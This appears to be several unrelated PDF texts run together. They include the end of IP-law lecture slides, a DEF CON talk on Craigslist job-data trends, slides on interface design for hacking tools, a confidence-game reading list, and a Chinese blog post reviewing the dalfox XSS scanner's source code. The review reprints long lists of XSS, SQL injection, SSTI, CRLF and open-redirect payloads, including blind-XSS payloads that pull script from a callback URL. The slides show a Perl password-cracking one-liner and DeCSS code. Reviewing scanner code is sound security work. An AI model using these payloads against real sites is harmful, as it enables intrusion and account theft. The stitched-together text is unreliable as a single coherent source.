E-Book company sues Rhonda for violating
DMCA. What happens?
DMCA Example 2
E-Book company publishes a novel. They utilize a
special method of protection which will only display
the novel on the E-Book company's reader. Hacker
Dave finds this annoying, figures this out, and
creates a work around so that he can display his
purchased copy on any of his devices. He also
publishes this discovery so that anyone anywhere
can also do this.
E-Book company sues Dave for violating DMCA.
What happens?
Trademark - Definition
Identify the origin of goods in commerce
Trademark - Rights
Protection against same and similar marks
used to identify same or similar goods.
Would consumers be deceived or confused as
to the origin of the goods?
If Registered:
Presumption that trademark is valid, which is
indisputable after 5 years.
Trademark - Duration
Forever!
Yes really!
Trademark - Why is this a good idea?
Consumer protection.
Rewards companies with quality products
Trademark - Fair Use
Product Comparison
Product Descriptions
Product Reviews
Trademark - Examples 1a - 1c
Steve runs a general store and decides to order
a bunch of stuff from alibaba.com to and
label it with his own in-house brand. Steve is
always hearing people talk about how great
Apple Computers are, so he decides to use
that name on his items. Steve sells Apple
Laptops, Apple Underwear, and Apple Juice.
Apple Computers finds out about this and
sues.
What result for each item?
Patent - Definition
any non-obvious, useful, technological
"process, machine, manufacture, composition
of matter, or improvement thereof"
not patentable: laws of nature, physical
phenomena, abstract ideas
Patent - Rights
A monopoly over
Making
Using
Selling
Importing / Exporting
Licensing
Patent - Duration
20 years
Patent - Why is this a good idea?
We want to reward inventors
Encourage technological improvement
Patent - Recent changes
Previously, US had a "first-to-invent" system,
and this year has switched to a "first-to-file"
system.
Patent - Example 1a
Ivan notices that right before an earthquake, his
dog starts barking and behaving in a strange
way. Ivan files a patent for dogs as
earthquake detectors.
Success?
Patent - Example 1b
Ivan goes on to create a device which analyzes
the behavior of nearby dogs and the noises
they make, and then warns humans in the
area that an earthquake is coming and they
should take shelter. Ivan files for a patent.
Success?
Patent - Example 1c
Paul takes Ivan's device and figures out how it
works. Paul adds a volume control knob to
the device because some people have
complained that the warning it gives is too
loud. Paul tries to patent his invention.
Success?
Comparisons: Copyright vs. Trademark
If you remember our earlier example...
Alan writes a novel and titles it "Code
Monkey".
It becomes a bestseller almost overnight.
Carl writes and sells his own original novel but
also uses the title "Code Monkey".
Alan sues under both Copyright and
Trademark.
Does Alan win under either theory?
Comparisons: Trademark vs. Patent
Eastern creates, sells, and advertises their
distinctive quilted design toilet paper which
they claim makes their product more
absorbent than other brands.
Western creates their own toilet paper with a
very similar quilted design.
Eastern sues Western under both trademark
and patent.
What happens?
Comparisons: Copyright vs. Patent
A thought exercise...
Can you copyright or patent a cake recipe?
Can you copyright or patent the rules to a card
game?
Can you copyright or patent computer code?
Trade Secret
Anything whose value is derived from the fact
that it is not generally known or easily
ascertainable.
Questions | pdf |
Open Data Source Analysis
Daniel “whopis” Burroughs
[email protected]
About me...
● Research Professor
● University of Central Florida
● College of Engineering
● College of Health and Public Affairs
● Associate Technology Director
● Center for Law Enforcement Technology,
Training & Research (LETTR)
Related Interests
● Pattern recognition in security applications
● Network attack detection and classification
● Bayesian Multiple Hypothesis Tracking
● Detection avoidance
● Sensor fusion
● Position tracking & estimation
● Autonomous navigation
● Situational awareness
My Inspiration
● Broward Horne
● Meme Mining for Fun and Profit
● DefCon 13
● Detection and identification of saturation curves
● Which current technologies are about to take off?
● What should I spend my time learning?
An Example
(blatently stolen from Broward Horne's DC13 talk)
My Need
● When I used to teach...
● Students would come to me seeking job search
advice
● I would do what I could to keep up with trends
● Found that craigslist postings were an interesting
indicator of what was going on
– Not necessarily the best source for jobs – but definitely
an interesting sensor
(a tiny bit of) Theory
● Jobs are a lagging economic indicator
● There is a time period between economies
changing and the job markets catching up
● Hiring someone tends to be long term investment
● A lot of craigslist postings are temporary /
contract / side jobs
● Short term investment
● Shorten the lag
Why Craigslist?
● It's available
● Decent categorization
● 31 job categories, 400 cities in North America
● More than just job listings
● Significant amount of short-term relevance
● Both in job listings and other items & services
● Prediction:
● This will be a normal to leading indicator of change
● This is not the only or best source for data – it is
just one example of the many out there
Let's look at some data
● Initial results
● The easy-to-find stuff
● More questions than answers
● But that is the fun of it
Job Postings By Date
02/21/10
02/28/10
03/07/10
03/14/10
03/21/10
03/28/10
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
70.00%
80.00%
90.00%
100.00%
All Categories – All Cities
Job Postings By Date
All Categories – Selected Cities
02/21/10
02/28/10
03/07/10
03/14/10
03/21/10
03/28/10
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
70.00%
80.00%
90.00%
100.00%
All Cities
Austin
Boston
Chicago
New York
Orlando
Seattle
Job Postings By Date
All Categories – Boston
02/21/10
02/28/10
03/07/10
03/14/10
03/21/10
03/28/10
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
70.00%
80.00%
90.00%
100.00%
All Cities
Boston
Job Postings By Date
All Categories – Austin
02/21/10
02/28/10
03/07/10
03/14/10
03/21/10
03/28/10
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
70.00%
80.00%
90.00%
100.00%
All Cities
Austin
Number of Jobs Posted
02/21/10
02/28/10
03/07/10
03/14/10
03/21/10
03/28/10
0
1000
2000
3000
4000
5000
6000
All Cities
All Categories – All Cities
Number of Jobs Posted
All Categories – Selected Cities
02/21/10
02/28/10
03/07/10
03/14/10
03/21/10
03/28/10
0
200
400
600
800
1000
1200
Austin
Boston
Chicago
New York
Orlando
Seattle
Conclusions
● This is in the very early stages
● Clearly there is some significance here
● My goal is to throw this idea out and see what
else can be done with it
● There is all sorts of interesting information
hidden in the data that is being collected all
around us – and huge amounts are openly
available – what can we find in it?
Some relevant,
some not-so-relevant
links and acknowledgments
● www.danielburroughs.com
● www.realmeme.com
● www.hoverflytech.com
● www.gotootie.com
● www.medicaldatasharing.com
● www.lettr.org
●
http://www.defcon.org/images/defcon-13/dc13-presentations/DC_13-Horne.pdf | pdf |
Greg Conti
Interface Design
for
Hacking Tools
original image: http://www.daveyandgoliath.org/
Disclaimer
The views expressed
in this article are
those of the author
and do not reflect
the official policy or
position of the
United States
Military Academy,
the Department of
the Army, the
Department of
Defense or the U.S.
Government.
image: http://www.leavenworth.army.mil/usdb/standard%20products/vtdefault.htm
Outline
• Introduction
• Command Line vs. GUI's
• Task, User, & Technology
• Principles of Design
• GUI Components
• Critique of Tools
• Pointers
• Q&A
image: http://www.uk-anime.net/fanart/large/cloud.jpg by Jim Evans
What is an Interface?
“The point of interaction or communication
between a computer and any other entity,
such as a printer or human operator.”
source: http://dictionary.reference.com/search?q=interface
What is an Interface?
“The way that you accomplish tasks
with a product and how it responds
– that’s the interface.”
The Humane Interface by Jef Raskin, p2
Command Line vs. GUI
• Flexibility
• Time
• Ease of use
• Best for heavy users
source: http://www.jpeek.com/talks/svlug_19991103/020.html
image: http://helpdesk.princeton.edu/images/ping.gif
Crack in One Line of Perl
perl -nle 'setpwent;crypt($_,$c)eq$c&&print"$u $_"while($u,$c)=getpwent'
Author: Alec Muffett
Several Lines of Perl Can Crack
DVD Encryption
#!/usr/bin/perl
# 472-byte qrpff, Keith Winstein and Marc Horowitz <[email protected]>
# MPEG 2 PS VOB file -> descrambled output on stdout.
# usage: perl -I <k1>:<k2>:<k3>:<k4>:<k5> qrpff
# where k1..k5 are the title key bytes in least to most-significant order
s''$/=\2048;while(<>){G=29;R=142;if((@a=unqT="C*",_)[20]&48){D=89;_=unqb24,qT,@
b=map{ord qB8,unqb8,qT,_^$a[--D]}@INC;s/...$/1$&/;Q=unqV,qb25,_;H=73;O=$b[4]<<9
|256|$b[3];Q=Q>>8^(P=(E=255)&(Q>>12^Q>>4^Q/8^Q))<<17,O=O>>8^(E&(F=(S=O>>14&7^O)
^S*8^S<<6))<<9,_=(map{U=_%16orE^=R^=110&(S=(unqT,"\xb\ntd\xbz\x14d")[_/16%8]);E
^=(72,@z=(64,72,G^=12*(U-2?0:S&17)),H^=_%64?12:0,@z)[_%8]}(16..271))[_]^((D>>=8
)+=P+(~F&E))for@a[128..$#a]}print+qT,@a}';
Authors: Keith Winstein and Marc Horowitz
Original source: http://www-2.cs.cmu.edu/~dst/DeCSS/Gallery/qrpff.pl
*Note that code above is not complete
Foundations...
• Tasks
• Users
• Technology
image: www.amazon.com
Understanding Tasks
What tasks are
your users trying
to accomplish?
image: http://www.pvtmurphy.com, used with permission
image: http://www.noderunner.net/~sparks/art/tara.gif by Rachel Blackman, used with permission
Who are
your users?
Your Users may be Beginners…
“Ok I know i'm very slow, stupid too
maybe.…I can't see a damn thing
execpt the poster's e-mail address ….
I am new to computers and am trying to
learn what I can so please be gentle.”
source: alt.2600.hackersz
- alt.2600.hackersz
Advanced…
“From your questions, it seems you are
over-simplifying just what a
dissassembler can do for you. If you are
not an experienced assembly language
programmer then the dissassembled file
will look like Greek”
- alt.2600.hackersz
International
Users
Image (Japanese): http://dekiru.impress.co.jp/net/mcafee/img/mcafee.gif
Image (English): http://www.evergreen.edu/support/how_to/virus/mcafee_update/imageNU2.JPG
McAfee VirusScan can be found at www.mcafee.com
Enabling Technology
Analyze the task and
your users first.
The proper
technology
follows.
image: http://is.cgu.edu/pcmuseum/images/TRS-80%20front.jpg by Dionna Harris and Paul Gray, used with permission
Principles of
Design
•
Cognitive Science
•
Design for Clarity
•
Navigation
•
Color
•
Fonts
•
Metaphor
•
Consistency
•
Feedback
•
Testing
•
Information Display and Visualization
image: http://www.uk-anime.net/gallery/
Cognitive Science
• Fitt’s Law
• Invisible structures
• Mental Models
• Modes
image: http://www.uk-anime.net/fanart/large/loughead2.gif by Michelle Loughead
Design for Clarity
• Intuitive
• Allow Exploration
• Always allow a way out
• Consistency
image: http://www.atpm.com/6.07/images/filterit-confusing.gif
Navigation
• Beware too many features at top level
• Go where users expect
image source: http://www.dack.com/web/amazon.html by Dack Ragus, used with permission
Color
•
People need
contrast
•
Less is more
•
Color
Blindness
•
White or
pale
backgrounds
are preferred
•
Use of colors
to draw
attention
http://www.geocities.com/webtekrocks/
http://www.useit.com/
http://www.geocities.com/webtekrocks/html/services.html
http://www.google.com
http://www.useit.com/jakob/photos/
http://www.coolhomepages.com/
http://www.illustrationworks.com/
http://www.kurzweilai.net
Fonts
DEFCON / BlackHat
DEFCON / BlackHat
DEFCON / BlackHat
DEFCON / Black Hat
DEFCON / BlackHat
DEFCON / BlackHat
DEFCON / BlackHat
DEFCON / BlackHat
DEFCON/BlackHat
Metaphor
Metaphor use can map
easily from people’s
experience with other
concepts
• Don’t force it
• Some are overdone…
– “The Town”
– “The Library”
images: http://clc.dau.mil/kc/no_login/portal.asp & http://www.albany.edu/jmmh/vol2no1/sanfran-library.jpg
images: http://mbc.intnet.mu/radio/internaute/images/winamp.gif & http://www.winamp.com & http://www.axemusic.com/vendors/pioneer/images/ctw208r.gif
WINAMP can be found at www.winamp.com
Consistency
Build on prior knowledge of other
applications
•
Placement of controls
•
Keyboard shortcuts
•
Within program, environment and
related tools
http://www.tiresias.org/controls/images/consistency.jpg
Feedback
• Timely feedback
• Busy indicator
• Progress indicator
• Visual and audible
http://www.dbdomain.com/dba14.htm
http://www.softlab-nsk.com/ddclipro/images/progress.gif
Testing
• Try it out on users, get feedback
and fix
• You may be surprised
• Allow time to fix your project
• Value of Testing
• Iterative design
• How to conduct testing
image: http://www.uk-anime.net/gallery/images/mac7-4.jpg
Information Visualization
tracert
from the
command
line
http://www.hardware-one.com/reviews/AztechADSLTurbo900/images/Downloads-TraceRT-Ping.gif
Xtraceroute
Neotrace visualization
images: http://www.dtek.chalmers.se/~d3august/xt/index.html & http://www.lewe.com/img/toptools/neotrace-1.jpg
NeoTrace by NeoWorx is available at http://download.com.com/3000-2172-7139158.html?legacy=cnet
Xtraceroute by Björn Augustsson is available at http://www.dtek.chalmers.se/~d3august/xt/
See also the excellent Atlas of Cyberspaces at http://www.cybergeography.org/atlas/routes.html
Network Traffic Dataset
image: http://www.bgnett.no/~giva/pcap/tcpdump.png
Network Traffic Viewed in Ethereal
Ethereal by Gerald Combs can be found at http://www.ethereal.com/
image: http://www.linux-france.org/prj/edu/archinet/AMSI/index/images/ethereal.gif
Network Traffic as Viewed in EtherApe
Etherape by Juan Toledo can be found at http://etherape.sourceforge.net/
screenshot: http://www.solaris4you.dk/sniffersSS.html
GUI Components
•
Radio Buttons
•
Check Boxes
•
Dialog Boxes
•
Menus
•
Labels
•
Text Fields
•
Toolbars
•
Forms
•
Splash Screens
•
Push Buttons List Boxes
•
Spinners
•
Sliders
•
and more…
image: MS Visual Basic 6.0
Radio Buttons
• 1 to Many Control
• Try to limit to 6 items
• Set Default
• Not a check box
• Never use just one
Check Boxes
• Used for single on/off settings
• Max 12 per group
• Don’t confuse with radio buttons
Dialog Boxes
• Modal (immediate task)
• Modeless (on going task)
• Beware too many levels
• Cancel doesn’t cancel
images: PCMark2002, MS Word, Win XP
PCMark2002 by Futuremark Corp can be found at http://futuremark.com/products/pcmark2002/
Menus
• Menu length
• Confusing menu items
• Keyboard shortcuts
You can find UltraEdit by IDM Computer Solutions at www.ultraedit.com
Menus
Dynamic interfaces are
generally considered
bad
Screen capture is from Microsoft PowerPoint 2000
Labels
• Keep text clear
• Place labels close to setting
• Consistent terminology, writing
• Avoid ambiguity
• Concepts must be distinct
image is from Microsoft Powerpoint 2000
Text Fields
• Defaults
• Make them large
enough
• Highlighted
current data
• Font size
• Alignment
Ethereal by Gerald Combs can be found at http://www.ethereal.com/
image: http://www.ethereal.com/docs/user-guide/ch03capturestart.html#CH03CAPPREF
Toolbars/Icons
• Consistency
• Test your images
• Sometimes text just works better
• Don’t Overdo It
image is from Microsoft Excel 2000
Forms
and
Overall
Layout
Four Criteria1
– Dominant reading order
– Frequency of use
– Relationship to other controls
– User Expectations
1. GUI Bloopers by Jeff Johnson, p.143
2. OTP can be found at www.rumint.com
Other Issues
– Resizable
– Background Images
– Logical Grouping
– Line things up
Let’s Tear
Apart My
Own Projects
• Frequency
Counter
• Advanced
Frequency
Counter
http://www.uk-anime.net/gallery/images/tenchi3.jpg
Frequency Counter
Frequency Counter can be found at www.rumint.com
Advanced Frequency Counter
Advanced Frequency Counter can be found at www.rumint.com
Critique of tools
Image: http://www.misato.co.uk/ by Tracey Knight, used with permission
Respect to
Authors
Your Kung Fu
is Very
Good
http://www.uk-anime.net/gallery/images/ranma1.jpg
NetBus
Image source:http://members.tripod.com/~gineco/NET-BUS.
Netbus is by Carl Fredrik Neikter
Nmapwin
Nmap by Fyodor is available at http://www.insecure.org/
The Nmapwin front end by Jens Vogt is available at http://www.nmapwin.org/
SubSeven
Image source:http://www.zdnet.co.jp/help/howto/security/j04/images/sub7.gif
SubSeven is by mobman. The official site is http://www.subseven.ws/
SubSeven
Original image:www.trojaner-info.de
SubSeven is by mobman. The official site is http://www.subseven.ws/
•Connection
•Keys / messages
•Advanced
•Miscellaneous
•Fun manager
•Extra fun
•Local Options
SuperScan
image: http://www.computec.ch/
SuperScan is by Foundstone Corp and can be found at www.foundstone.com
Zone Alarm
Zone Alarm is by ZoneLabs and can be found at http://www.zonelabs.com/
PGP
image: http://www.activewin.com/reviews/software/utils/v/vscan5d/images/PGP.jpg
PGP by PGP Corporation and can be found at http://www.pgp.com/
Norton Antivirus
Norton Antivirus by Symantec Corp can be found at http://www.symantec.com/
Example Redesigns
image: http://www.noderunner.net/~sparks/art/render/nasako-gym-anime.gif by Rachel Blackman, used with permission
Win Nuke V95
image: http://www.computec.ch/
WinNuke V95 is by BurntBogus and its location changes
WinNuke 95 Redesign
More Information
Big Picture
GUI Bloopers by Jeff Johnson
The Design of Everyday Things by Donald Norman
The Humane Interface by Jef Raskin
images: www.amazon.com
More Information
Information Visualization
Envisioning Information by Tufte
The Visual Display of Quantitative Information by Tufte
Visual Explanations by Tufte
See also the Tufte road show, details at www.edwardtufte.com
images: www.amazon.com
More Information
Web Usability & Design
Web Pages That Suck by Flanders and Willis
Designing Web Usability & Homepage Usability by Nielsen
(www.useit.com)
Non-Designers Design Book by Robin Williams
images: www.amazon.com
Deep Knowledge…
Designing the User Interface by Ben Shneiderman
Association for Computing Machinery
Special Interest Group for Computer Human Interaction (SIGCHI)
www.acm.org/sigchi
CHI image: http://sigchi.org/chi2004/
Book image: www.amazon.com
There are 10 types of people who understand
interface design: those that do and those that don’t…
http://www.microsoft.com/presspass/events/officexp/images/launch02.jpg
Your Questions??? | pdf |
file:///D|/Work%20Related/DEFCON/presentations/dc-17-presentations/defcon-17-cough-references.txt
Confidence Game Theater References
Puzzlers' Tribute edited by David Wolfe and Tom Rodgers (2002) containes a chapter by William
Kalush called Sleight of Hand with Playing Cards prior to Scot's Discoverie. This chapter includes a
description of the earliest known deception with playing cards, which is a relative of Three Card Monte.
Rogues, Vagabonds & Sturdy Beggars edited by Arthur F. Kinney (1973) contains reprints of some
sixteenth and seventeenth century pamphlets discussing crime and criminals. It includes A Notable
Discovery of Cozenage by Robert Greene (1591), which describes Mumchance, and The Fraternity of
Vagabonds by John Awdeley (1561), which describes an early version of The Lost Ring, similar to the
Apple1 skit we performed.
Gambling Scams by Darwin Ortiz (1984) has a chapter about Three Card Monte and a chapter devoted
to Confidence Games, both of them very good.
file:///D|/Work%20Related/DEFCON/presentations/dc-17-presentations/defcon-17-cough-references.txt9/8/2009 9:22:38 PM | pdf |
dalfox源码学习
在信息流上看到有人star这个项目,dalfox是一个基于golang的xss扫描器,介绍说基于golang/DOM
parser。
好像以前就看过这个项目,但是忘了大概,今天看到有人star了这个项目,于是好奇的又看了看,看到
它的简介,基于DOM parser以为很厉害,看了源码才发现,当初忘了这个项目,就是因为它很一般,
还是用的批量payload打,从返回页面找payload那一套,虽然找的方法改进了一下,每个payload都包
含一个class,直接用css语法找 .dalfox 的标签判断,但检测一个参数还是要发很多payload,不符合
现在的xss扫描逻辑了。
但我还是写一下它的源码学习,说说它的好与不好的地方,防止我以后再忘记。
介绍
Github地址: https://github.com/hahwul/dalfox
看它列举的一些feature
其中一些比较好的点是 鉴定反射点的位置,静态分析csp、检测其他漏洞,pipeline支持。
鉴定反射点位置
相关函数在 pkg/optimization/abstraction.go
它有一个分类,把反射点的位置归为了这么几类
分别是反射点在html上、在js上,在标签的属性上,和在标签的script上。
在这些上面又有一个分类
会判断反射点在单引号、双引号还是`符号里。
dalfox判断的方式bug很多,就是用纯文本查找字符串的开始和结束位置,排序位置信息,根据每个位
置信息生成一个 开始 和 结束 的标记,看payload最终在哪个标记里面。
这地方应该直接用dom解析来做,简单省力。
modeMap[1] = "inHTML"
modeMap[2] = "inJS"
modeMap[3] = "inATTR"
modeMap[4] = "inTagScript"
positionMap[1] = "none"
positionMap[2] = "double" // "
positionMap[3] = "single" // '
positionMap[4] = "backtick" // `
positionMap[5] = "comment"
positionMap[6] = "pre"
positionMap[7] = "textarea"
CSP绕过
相关函数 pkg/scanning/csp.go
这块比较新颖,网上有一些收集的csp绕过列表
如果网站的csp策略域名是这些域名的话,就可以根据这些payload绕过
判断函数
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/XSS%20
Injection/Intruders/jsonp_endpoint.txt
if resp.Header["Content-Security-Policy"] != nil {
policy["Content-Security-Policy"] = resp.Header["Content-Security-Policy"]
[0]
result := checkCSP(policy["Content-Security-Policy"])
if result != "" {
policy["BypassCSP"] = result
}
}
这块扫描器可以学习下,它是直接硬编码写死进去了,可以弄个脚本批量生成一下。
检测其他漏洞
官网写着还能检测 sqli 、 ssti 、 open-redirects 、 crlf ,主要就是靠发payload。
ssti、重定向、crlf可以发payload玩玩,回显的结果就能验证了,sqli就算了,下面是payload。
//basic open redirect payloads
func getOpenRedirectPayload() []string {
payload := []string{
"//google.com",
"//google.com/",
"//google.com/%2f..",
"///google.com/%2f..",
"////google.com/%2f..",
"https://google.com/%2f..",
"/https://google.com/%2f..",
"//www.google.com/%2f%2e%2e",
"///www.google.com/%2f%2e%2e",
"////www.google.com/%2f%2e%2e",
"https://www.google.com/%2f%2e%2e",
"/https://www.google.com/%2f%2e%2e",
"//google.com/",
"///google.com/",
"////google.com/",
"https://google.com/",
"/https://google.com/",
"//google.com//",
"///google.com//",
"////google.com//",
"https://google.com//",
"//https://google.com//",
"//www.google.com/%2e%2e%2f",
"///www.google.com/%2e%2e%2f",
"////www.google.com/%2e%2e%2f",
"https://www.google.com/%2e%2e%2f",
"//https://www.google.com/%2e%2e%2f",
"///www.google.com/%2e%2e",
"////www.google.com/%2e%2e",
"https:///www.google.com/%2e%2e",
"//https:///www.google.com/%2e%2e",
"/https://www.google.com/%2e%2e",
"///www.google.com/%2f%2e%2e",
"////www.google.com/%2f%2e%2e",
"https:///www.google.com/%2f%2e%2e",
"/https://www.google.com/%2f%2e%2e",
"/https:///www.google.com/%2f%2e%2e",
"/%09/google.com",
"//%09/google.com",
"///%09/google.com",
"////%09/google.com",
"https://%09/google.com",
"/%5cgoogle.com",
"//%5cgoogle.com",
"///%5cgoogle.com",
"////%5cgoogle.com",
"https://%5cgoogle.com",
"/https://%5cgoogle.com",
"https://google.com",
}
return payload
}
func getCRLFPayload() []string {
payload := []string{
"%0d%0aDalfoxcrlf: 1234",
"%E5%98%8D%E5%98%8ADalfoxcrlf: 1234",
"\\u560d\\u560aDalfoxcrlf: 1234",
}
return payload
}
//basic sql injection payloads
func getSQLIPayload() []string {
payload := []string{
"'",
"''",
"`",
"``",
",",
"\"",
"\"\"",
"/",
"//",
";",
"' or ",
"-- or #",
"' OR '1",
"' OR 1 -- -",
" OR \"\" = \"",
"\" OR 1 = 1 -- -",
"' OR '' = '",
"'='",
"'LIKE'",
"'=0--+",
"%00",
" AND 1",
" AND 0",
" AND true",
" AND false",
" OR 1=1",
" OR 1=0",
" OR 1=1#",
" OR 1=0#",
" OR 1=1--",
" OR 1=0--",
" HAVING 1=1",
" HAVING 1=0",
" HAVING 1=1#",
" HAVING 1=0#",
" HAVING 1=1--",
" HAVING 1=0--",
" AND 1=1",
" AND 1=0",
" AND 1=1--",
" AND 1=0--",
" AND 1=1#",
" AND 1=0#",
" ORDER BY 1",
}
return payload
}
//getSSTIPayload is return SSTI Payloads
func getSSTIPayload() []string {
payload := []string{
"{444*6664}",
"<%=444*6664%>",
"#{444*6664}",
"${{444*6664}}",
"{{444*6664}}",
"{{= 444*6664}}",
"<# 444*6664>",
"{@444*6664}",
"[[444*6664]]",
"${{\"{{\"}}444*6664{{\"}}\"}}",
}
return payload
}
// getBlindPayload is return Blind XSS Payload
func getBlindPayload() []string {
payload := []string{
"\"'><script src=CALLBACKURL></script>",
"\"'><script
src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js>
</script><div ng-app ng-csp><textarea autofocus ng-
focus=\"d=$event.view.document;d.location.hash.match('x1') ? '' :
d.location='CALLBACKURL'\"></textarea></div>",
"javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+document.location=`CALLBACKURL`//'>",
"\"'><svg onload=\"javascript:eval('d=document; _ =
d.createElement(\\'script\\');_.src=\\'CALLBACKURL\\'%3Bd.body.appendChild(_)')\"
xmlns=\"http://www.w3.org/2000/svg\"></svg>",
}
return payload
}
// getCommonPayload is return xss
func getCommonPayload() []string {
payload := []string{
// include verify payload
"\"><SvG/onload=alert(DALFOX_ALERT_VALUE) id=dalfox>",
"\"><Svg/onload=alert(DALFOX_ALERT_VALUE) class=dlafox>",
"'><sVg/onload=alert(DALFOX_ALERT_VALUE) id=dalfox>",
"'><sVg/onload=alert(DALFOX_ALERT_VALUE) class=dalfox>",
"</ScriPt><sCripT id=dalfox>alert(DALFOX_ALERT_VALUE)</sCriPt>",
"</ScriPt><sCripT class=dalfox>alert(DALFOX_ALERT_VALUE)</sCriPt>",
"\"><a
href=javascript:alert(DALFOX_ALERT_VALUE)/class=dalfox>click",
"'><a href=javascript:alert(DALFOX_ALERT_VALUE)/class=dalfox>click",
"'><svg/class='dalfox'onLoad=alert(DALFOX_ALERT_VALUE)>",
"\"><d3\"<\"/onclick=\" class=dalfox>[confirm``]\"<\">z",
"\"><w=\"/x=\"y>\"/class=dalfox/ondblclick=`<`[confir\u006d``]>z",
"\"><iFrAme/src=jaVascRipt:alert(DALFOX_ALERT_VALUE) class=dalfox>
</iFramE>",
"\"><svg/class=\"dalfox\"onLoad=alert(DALFOX_ALERT_VALUE)>",
"\"><svg/OnLoad=\"`${prompt``}`\" class=dalfox>",
"'\"><img/src/onerror=.1|alert`` class=dalfox>",
"\"><img/src/onerror=.1|alert`` class=dalfox>",
"'><img/src/onerror=.1|alert`` class=dalfox>",
"'\"><svg/class=dalfox
onload=alert()//",
"</script><svg><script/class=dalfox>alert(DALFOX_ALERT_VALUE)</script>-
%26apos;",
"'\"><iframe srcdoc=\"<input onauxclick=alert(DALFOX_ALERT_VALUE)>\"
class=dalfox></iframe>",
// not include verify payload
"\"><svg/OnLoad=\"`${prompt``}`\">",
"'\"><img/src/onerror=.1|alert``>",
"'><img/src/onerror=.1|alert``>",
"\"><img/src/onerror=.1|alert``>",
"'\"><svg/onload=alert()//",
"\"><script/\"<a\"/src=data:=\".<a,[].some(confirm)>",
"\"><script y=\"><\">/*<script* */prompt()</script",
"<xmp><p title=\"</xmp><svg/onload=alert(DALFOX_ALERT_VALUE)>",
"\"><d3\"<\"/onclick=\">[confirm``]\"<\">z",
"\"><a href=\"javascript:alert(DALFOX_ALERT_VALUE)\">click",
"'><a href='javascript:alert(DALFOX_ALERT_VALUE)'>click",
"\"><iFrAme/src=jaVascRipt:alert(DALFOX_ALERT_VALUE)></iFramE>",
"\">asd",
"'>asd",
}
return payload
}
func getHTMLPayload(ip string) []string {
payload := []string{
"<sVg/onload=prompt(DALFOX_ALERT_VALUE) class=dalfox>",
"<Svg/onload=alert(DALFOX_ALERT_VALUE) class=dalfox>",
"<svG/onload=confirm(DALFOX_ALERT_VALUE) class=dalfox>",
"<svG/onload=print(DALFOX_ALERT_VALUE) class=dalfox>",
"<ScRipt class=dalfox>alert(DALFOX_ALERT_VALUE)</script>",
"<sCriPt class=dalfox>prompt(DALFOX_ALERT_VALUE)</script>",
"<scRipT class=dalfox>confirm(DALFOX_ALERT_VALUE)</script>",
"<scRipT class=dalfox>print(DALFOX_ALERT_VALUE)</script>",
"<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() class=dalfox>",
"<audio controls ondurationchange=alert(DALFOX_ALERT_VALUE) id=dalfox>
<source src=1.mp3 type=audio/mpeg></audio>",
"<div contextmenu=xss><p>1<menu type=context class=dalfox id=xss
onshow=alert(DALFOX_ALERT_VALUE)></menu></div>",
"<iFrAme/src=jaVascRipt:alert(DALFOX_ALERT_VALUE) class=dalfox>
</iFramE>",
"<xmp><p title=\"</xmp><svg/onload=alert(DALFOX_ALERT_VALUE)
class=dalfox>",
"<dalfox class=dalfox>",
"<sVg/onload=prompt(DALFOX_ALERT_VALUE)>",
"<Svg/onload=alert(DALFOX_ALERT_VALUE)>",
"<svG/onload=confirm(DALFOX_ALERT_VALUE)>",
"<svG/onload=print(DALFOX_ALERT_VALUE)>",
"<ScRipt>alert(DALFOX_ALERT_VALUE)</script>",
"<sCriPt>prompt(DALFOX_ALERT_VALUE)</script>",
"<scRipT>confirm(DALFOX_ALERT_VALUE)</script>",
"<scRipT>print(DALFOX_ALERT_VALUE)</script>",
"<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a()>",
"<audio controls ondurationchange=alert(DALFOX_ALERT_VALUE)><source
src=1.mp3 type=audio/mpeg></audio>",
"<div contextmenu=xss><p>1<menu type=context
onshow=alert(DALFOX_ALERT_VALUE)></menu></div>",
"<iFrAme/src=jaVascRipt:alert(DALFOX_ALERT_VALUE)></iFramE>",
"<xmp><p title=\"</xmp><svg/onload=alert(DALFOX_ALERT_VALUE)>",
"<iframe srcdoc=\"<input onauxclick=alert(DALFOX_ALERT_VALUE)>\"
class=dalfox></iframe>",
"<iframe srcdoc=\"<input onauxclick=prompt(DALFOX_ALERT_VALUE)>\"
class=dalfox></iframe>",
"<iframe srcdoc=\"<input onauxclick=confirm(DALFOX_ALERT_VALUE)>\"
class=dalfox></iframe>",
"<iframe srcdoc=\"<input onauxclick=print(DALFOX_ALERT_VALUE)>\"
class=dalfox></iframe>",
}
if strings.Contains(ip, "comment") {
// TODO add comment payloads
}
return payload
}
// getAttrPayload is is return xss
func getAttrPayload(ip string) []string {
payload := []string{
"onpointerenter=prompt`DALFOX_ALERT_VALUE` class=dalfox ",
"onmouseleave=confirm(DALFOX_ALERT_VALUE) class=dalfox ",
}
majorHandler := []string{
"onmouseover",
"onmouseenter",
"onmouseleave",
"onmouseenter",
"onmouseenter",
"onpointerover",
"onpointerdown",
"onpointerenter",
"onpointerleave",
"onpointermove",
"onpointerout",
"onpointerup",
"ontouchstart",
"ontouchend",
"ontouchmove",
}
for _, mh := range majorHandler {
payload = append(payload, mh+"=alert(DALFOX_ALERT_VALUE) class=dalfox ")
payload = append(payload, mh+"=confirm(DALFOX_ALERT_VALUE) class=dalfox
")
payload = append(payload, mh+"=prompt(DALFOX_ALERT_VALUE) class=dalfox
")
payload = append(payload, mh+"=print(DALFOX_ALERT_VALUE) class=dalfox ")
}
// set html base payloads
hp := getHTMLPayload("")
for _, h := range hp {
payload = append(payload, ">"+h)
}
// Set all event handler base payloads
// However, the payload must be validated and applied.
/*
eh := GetEventHandlers()
for _, e := range eh {
payload = append(payload, e+"=alert(DALFOX_ALERT_VALUE) class=dalfox ")
payload = append(payload, e+"=confirm(DALFOX_ALERT_VALUE) class=dalfox
")
payload = append(payload, e+"=prompt(DALFOX_ALERT_VALUE) class=dalfox ")
//}
*/
if strings.Contains(ip, "none") {
return payload
}
if strings.Contains(ip, "double") {
var tempPayload []string
for _, v := range payload {
tempPayload = append(tempPayload, "\""+v)
}
return tempPayload
}
if strings.Contains(ip, "single") {
var tempPayload []string
